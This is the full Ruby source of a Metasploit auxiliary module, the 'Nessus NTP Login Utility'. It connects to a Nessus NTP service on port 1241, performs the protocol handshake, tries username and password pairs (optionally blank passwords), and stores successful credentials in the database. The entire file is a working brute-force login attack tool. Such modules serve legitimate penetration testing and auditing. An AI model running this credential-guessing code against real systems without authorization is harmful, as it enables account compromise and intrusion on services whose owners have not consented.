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##
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# nessus_ntp_login.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Scanner
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::AuthBrute
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  def initialize
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    super(
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      'Name'        => 'Nessus NTP Login Utility',
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      'Description' => 'This module attempts to authenticate to a Nessus NTP service.',
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      'Author'      => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
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      'License'     => MSF_LICENSE
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    )
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    register_options(
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      [
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        Opt::RPORT(1241),
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        OptBool.new('BLANK_PASSWORDS', "Try blank passwords for all users")
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      ]
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    )
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  end
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  def run_host(ip)
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    begin
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      print_status("#{msg} Connecting and checking username and passwords")
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      each_user_pass do |user, pass|
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        do_login(user, pass)
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      end
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    end
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    rescue ::Rex::ConnectionError
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    rescue ::Exception => e
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      vprint_error("#{msg} #{e.to_s} #{e.backtrace}")
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  end
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  def ntp_send(data=nil, con=true)
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    begin
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      @result=''
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      @coderesult=''
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      if (con)
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        @connected=false
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        connect
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        select(nil,nil,nil,0.4)
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      end
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      @connected=true
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      sock.put(data)
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      @result=sock.get_once
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    rescue ::Exception => err
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      print_error("#{msg} Error: #{err.to_s}")
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    end
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  end
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  def report_cred(opts)
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    service_data = {
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      address: opts[:ip],
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      port: opts[:port],
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      service_name: opts[:service_name],
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      protocol: 'tcp',
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      workspace_id: myworkspace_id
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    }
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    credential_data = {
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      origin_type: :service,
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      module_fullname: fullname,
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      username: opts[:user],
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      private_data: opts[:password],
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      private_type: :password
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    }.merge(service_data)
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    login_data = {
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      last_attempted_at: Time.now,
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      core: create_credential(credential_data),
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      status: Metasploit::Model::Login::Status::SUCCESSFUL,
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      proof: opts[:proof]
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    }.merge(service_data)
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    create_credential_login(login_data)
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  end
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  def do_login(user=nil,pass=nil)
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    begin
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      ntp_send("< NTP/1.0 >\n",true) # send hello
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      if @result !~ /\<\ NTP\/1\.0 \>/
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        print_error("#{msg} Nessus NTP does not appear to be running: did not get response to NTP hello: #{@result}")
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        return :abort
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      end
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      vprint_status("#{msg} Trying user:'#{user}' with password:'#{pass}'")
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      ntp_send(nil,!@connected)
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      if @result !~ /User\ \:/
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        print_error("#{msg} Nessus NTP did not send User request: #{@result}")
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      end
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      ntp_send("#{user}\n",!@connected)
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      if @result !~ /Password\ \:/
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        print_error("#{msg} Nessus NTP did not send Password request: #{@result}")
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      end
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      ntp_send("#{pass}\n",!@connected)
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      if @result =~ /SERVER <|>.*<|> SERVER/is
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        print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'")
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        report_cred(
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          ip: rhost,
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          port: rport,
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          service_name: 'nessus-ntp',
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          user: user,
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          password: pass,
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          proof: @result
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        )
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        disconnect
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        @connected = false
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        return :next_user
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      else
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        if (@connected)
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          disconnect # Sometime nessus disconnect the client after wrongs attempts
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          @connected = false
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        end
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        vprint_error("#{msg} Rejected user: '#{user}' with password: '#{pass}': #{@result}")
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        return :fail
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      end
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      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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      rescue ::Timeout::Error, ::Errno::EPIPE
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    end
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  end
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  def msg
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    "#{rhost}:#{rport} Nessus NTP -"
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  end
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end
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